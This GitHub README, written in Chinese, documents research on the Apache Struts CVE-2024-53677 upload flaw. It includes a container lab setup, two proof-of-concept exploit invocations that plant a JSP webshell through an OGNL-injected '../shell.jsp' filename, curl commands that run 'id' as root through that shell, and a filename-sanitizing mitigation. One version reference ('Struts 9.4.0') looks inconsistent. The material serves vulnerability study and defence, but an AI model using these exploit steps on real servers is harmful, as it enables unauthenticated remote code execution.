baburkin/struts-uploader-vulnerability
GitHub: baburkin/struts-uploader-vulnerability
针对 Apache Struts CVE-2024-53677 文件上传漏洞的利用研究项目,提供多种 PoC、靶场环境及缓解措施。
Stars: 0 | Forks: 0
# CVE-2024-53677 — 漏洞利用原理及运行方法
## 漏洞概述
该缺陷存在于 Struts 的 `FileUploadInterceptor` 将上传文件名传递给 action 类的方式中。
通常,拦截器会对文件名进行净化处理,但 Struts 也允许任何 multipart 参数被 `ParametersInterceptor` 作为 OGNL 表达式进行处理。将 `top.UploadFileName`
(对于多文件 action 则是 `uploadFileName[0]`)作为表单字段发送,会直接通过 OGNL 调用
`action.setUploadFileName(value)`,从而覆盖拦截器设置的任何内容。
随后,该 action 在写入文件时没有任何路径净化处理:
```
String uploadDir = "webapps/ROOT/uploads"; // relative to Tomcat CWD /usr/local/tomcat/
File destFile = new File(uploadDirectory, uploadFileName); // no sanitization
```
将 `../shell.jsp` 作为文件名发送,将解析为:
```
/usr/local/tomcat/webapps/ROOT/uploads/../shell.jsp
= /usr/local/tomcat/webapps/ROOT/shell.jsp ← served at http://localhost:8080/shell.jsp
```
在此处上传 JSP webshell 即可实现未经身份验证的 RCE。
## 正在研究的漏洞利用
关于此漏洞,目前有两个正在研究的漏洞利用方式:
1. [EQSTLab 的 Lab Tomcat 和漏洞利用](https://github.com/EQSTLab/CVE-2024-53677)
2. [Snyk 漏洞数据库](https://security.snyk.io/vuln/SNYK-JAVA-ORGAPACHESTRUTS-8496612)
作为两个漏洞利用目标的 Lab Tomcat 应用服务器,取自第一个仓库,并运行在容器中(docker 或 podman)。
另一个漏洞利用以 `poc.py` 的 Java 版本形式在本仓库中提供,它源自第二个来源。
这两个漏洞利用之间的微妙差异,已在本文档末尾的并排对比表中列出。
## 调查结果
这两个漏洞利用均已被证实在 Struts `6.3.0.2` 上有效。
然而,当我们将 Struts 升级到 `6.8.0` 或 `6.9.0` 时,第一个漏洞利用
(`CVE-2024-53677.py`)停止工作——这是由于 Struts `9.4.0` 中的修复所致。
第二个漏洞利用(`StrutsExploitRunner`)在所有版本 `6.3.0.2`、`6.8.0`、
`6.9.0` 上均有效,除非按照下文缓解措施部分的建议更新了存在漏洞的应用程序代码。
有关调查的技术细节,请参见下文。
## 实验环境搭建
克隆第一个仓库并切换到其根目录:
```
git clone https://github.com/EQSTLab/CVE-2024-53677
cd CVE-2024-53677
```
你需要使用 docker(最初版本)或 podman(我们在研究中所使用的)来构建和运行
被利用的 Lab Tomcat:
```
cd docker
podman build --ulimit nofile=122880:122880 -m 3G -t exploit .
podman run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name exploit exploit
```
在激活了 Python 虚拟环境的独立 shell 中,从仓库根目录运行漏洞利用脚本,说明如下。
## 使用 CVE-2024-53677.py
### 它的作用
使用 `top.UploadFileName` 注入路径穿越文件名,从而将 JSP webshell 上传至 `/upload.action`。这个硬编码的 webshell 通过 `?action=cmd&cmd=` 接收命令。
### 命令
```
python CVE-2024-53677.py -u http://localhost:8080/upload.action -p ../shell.jsp
```
`-p` 是作为 `top.UploadFileName` 传递的值。一个 `../` 就足以逃逸 `uploads/` 目录并将文件放置在 web 根目录中。
### 验证 RCE
```
curl "http://localhost:8080/shell.jsp?action=cmd&cmd=id"
# uid=0(root) gid=0(root) groups=0(root)
```
请注意必需的 `action=cmd` 参数——硬编码的 webshell 在运行命令前会检查它。如果没有它,你将得到 `Unknown action.` 而不是输出结果。
### 上传自定义 payload
```
python CVE-2024-53677.py \
-u http://localhost:8080/upload.action \
-p ../shell.jsp \
-f ./my_payload.jsp
```
## 使用 StrutsExploitRunner
### 它的作用
针对 `/uploads.action`(多文件变体),并通过 OGNL 将 `uploadFileName[0]` 设置为路径穿越值。底层绕过原理相同,只是参数名和 action 类不同。
### 构建 exploit jar
你需要 JDK 17 或更高版本来构建和运行该漏洞利用(`java` 二进制文件应包含在你的 `PATH` 中)。
在此仓库的根目录下运行以下命令以构建可执行的 uber-jar:
```
./mvnw clean package
```
### 运行漏洞利用
```
java -jar target/exploit-1.0-SNAPSHOT.jar \
-u http://localhost:8080 \
--upload_endpoint /uploads.action \
--paths .. \
--filenames shell.jsp
```
`--filenames` 会固定文件名,以便你知道从何处获取它。如果没有它,脚本将生成随机名称并打印在输出中。
### 验证 RCE
此应用程序上传的 webshell 使用更简单的 `?cmd=` 接口:
```
curl "http://localhost:8080/shell.jsp?cmd=id"
# uid=0(root) gid=0(root) groups=0(root)
```
## 适用于停留在 Struts 6.x 的应用程序的缓解措施
标准的修复方法是升级到 Struts 7.x,它彻底重构了文件上传机制。如果此升级受阻(例如 JDK 8 兼容性、第三方依赖限制),则可以应用以下缓解措施。
### 在 action 类中净化文件名(影响最大,代码级别)
这是最稳健的修复方法,因为无论拦截器传入什么内容,它都能起作用。
在构建目标路径之前,剥离文件名中的所有路径组件,然后验证解析后的路径是否仍然位于预期的目录内。
```
import java.nio.file.Paths;
public String doUpload() {
if (upload != null && upload.length() > 0) {
try {
File uploadDirectory = new File("/var/app/uploads");
if (!uploadDirectory.exists()) uploadDirectory.mkdirs();
// Strip any path components the attacker injected via top.UploadFileName
String safeFileName = Paths.get(uploadFileName).getFileName().toString();
File destFile = new File(uploadDirectory, safeFileName);
// Confirm the resolved path is still inside the upload directory
String canonicalDest = destFile.getCanonicalPath();
String canonicalBase = uploadDirectory.getCanonicalPath();
if (!canonicalDest.startsWith(canonicalBase + File.separator)) {
addActionError("Invalid upload path.");
return ERROR;
}
// ... copy bytes as before
```
`Paths.get("../shell.jsp").getFileName()` 会返回 `shell.jsp`,因此即使 `top.UploadFileName`
传递了穿越字符串,它也会在进行任何 I/O 操作之前被还原为普通的文件名。
相同的模式也适用于 `UploadsAction` ——在 `for` 循环中将其应用于每个
`uploadFileName.get(i)`。
## 并排对比
| | CVE-2024-53677.py | StrutsExploitRunner |
|------------------|------------------------------|---------------------------------------------------|
| Endpoint | `/upload.action` | `/uploads.action` |
| OGNL parameter | `top.UploadFileName` | `uploadFileName[0]` |
| Action class | `UploadAction` (单文件) | `UploadsAction` (多文件) |
| Webshell call | `?action=cmd&cmd=` | `?cmd=` |
| Default path bug | 无 | `--paths` 默认层级过深,使用 `..` 进行覆盖 |
标签:CISA项目, CVE-2024-53677, GHAS, Java安全, JS文件枚举, 域名枚举, 情报收集, 漏洞研究, 编程工具, 请求拦截, 远程代码执行, 逆向工具